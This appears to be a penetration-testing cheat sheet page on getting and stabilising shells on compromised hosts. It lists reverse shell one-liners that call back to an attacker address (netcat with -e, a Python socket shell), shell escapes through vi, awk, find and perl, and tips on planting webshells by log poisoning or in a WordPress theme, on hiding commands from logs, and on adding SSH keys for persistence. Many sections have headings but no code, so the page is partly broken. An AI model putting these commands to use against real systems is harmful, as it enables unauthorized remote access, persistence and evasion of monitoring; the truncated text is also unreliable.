Shells
Great reverse shell generator
https://offsecnewbie.com/reverse_shell.phpI like using port 443 as its generally open on firewalls for HTTPS traffic. Sometimes servers and firewalls block non standard ports like 4444 or 1337
Interactive Shell Test
Copy below into shell. If YES, then you have an interactive shell
[[ $- == *i* ]] && echo "YES" || echo "No"terminal = tty = text input/output environment console = physical terminal shell = command line interpreter
Why the F is my shell not returning?!
A firewall is likely blocking the port returning. What ports are open on the server? Use one of those ports.
Escaping limited interpreters
Some payloads to overcome limited shells:
ssh user@$ip nc $localip 4444 -e /bin/sh
enter user's password
export TERM=linux
python -c 'import pty; pty.spawn("/bin/sh")'
python3 -c 'import pty; pty.spawn("/bin/sh")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("$ip",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(), *$ 1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
echo os.system('/bin/bash')
/bin/sh -i
exec "/bin/sh";
perl —e 'exec "/bin/sh";'
Related Shell Escape Sequences...
vi--> :!bash
vi--> :set shell=/bin/bash:shell
awk--> awk 'BEGIN {system("/bin/bash")}'
find--> find / -exec /usr/bin/awk 'BEGIN {system("/bin/bash")}' \;
perl--> perl -e 'exec "/bin/bash";'go into /bin/ and see what binaries are in there.
From within tcpdump
From busybox
Add public key to authorized keys:
Python TTY shells
Ippsec using tool
Upgrading to fully interactive
Note: Netcat (nc) OpenBSD does not support -e
Set PATH TERM and SHELL if missing:
PHP
Webshell
This command will run system commands on the underlying system and return the complete output as a string
Try to get this code on the server - possibly by contaminating a log file
if a reverse shell is not returning back to you try a diff shell maybe python. run 'which python' to see if python is available
Then you can execute the commands like this
Make the commands from above a bit more stealthy. Instead of passing the cmds through the url, which will be obvious in logs, pass them through other header-parameters. The use tamper data or burpsuite to insert the commands. Or just netcat or curl.
add it to index page of a wordpress theme
You can use this to move from web shell to a command line shell
A Great WebShell
Windows Shell
Commands to try in a webshell to find out a bit more about system through webshell to help you get a command line shell
Kali shells
Copy php-reverse-shell.php to working directory
Best PHP reverse shell:
MIME Types
GIF89;
If a shell session closes quickly after it has been established, try to create a new shell session by executing one of the following commands on the initial shell. This will create a nested session!
Using netcat
Using bash and TCP sockets
Using sh and TCP sockets
Using telnet
PHP and sh
weevely
Perl and sh
Perl forking:
Python
Reverse shell with python script:
Go reverse shell
Discover shell environment
php -v
PHP version
Python -V
Python version
Perl -v
Perl version
ls /usr/bin
Directory contents /usr/bin
uname -a
System information Linux
dir C:\”Program Files”
Directory contents Windows Program Files folder
systeminfo
System information Windows
id
Current user Linux
whoami
Current user Windows
pwd
Print working directory
Reading
Last updated
Was this helpful?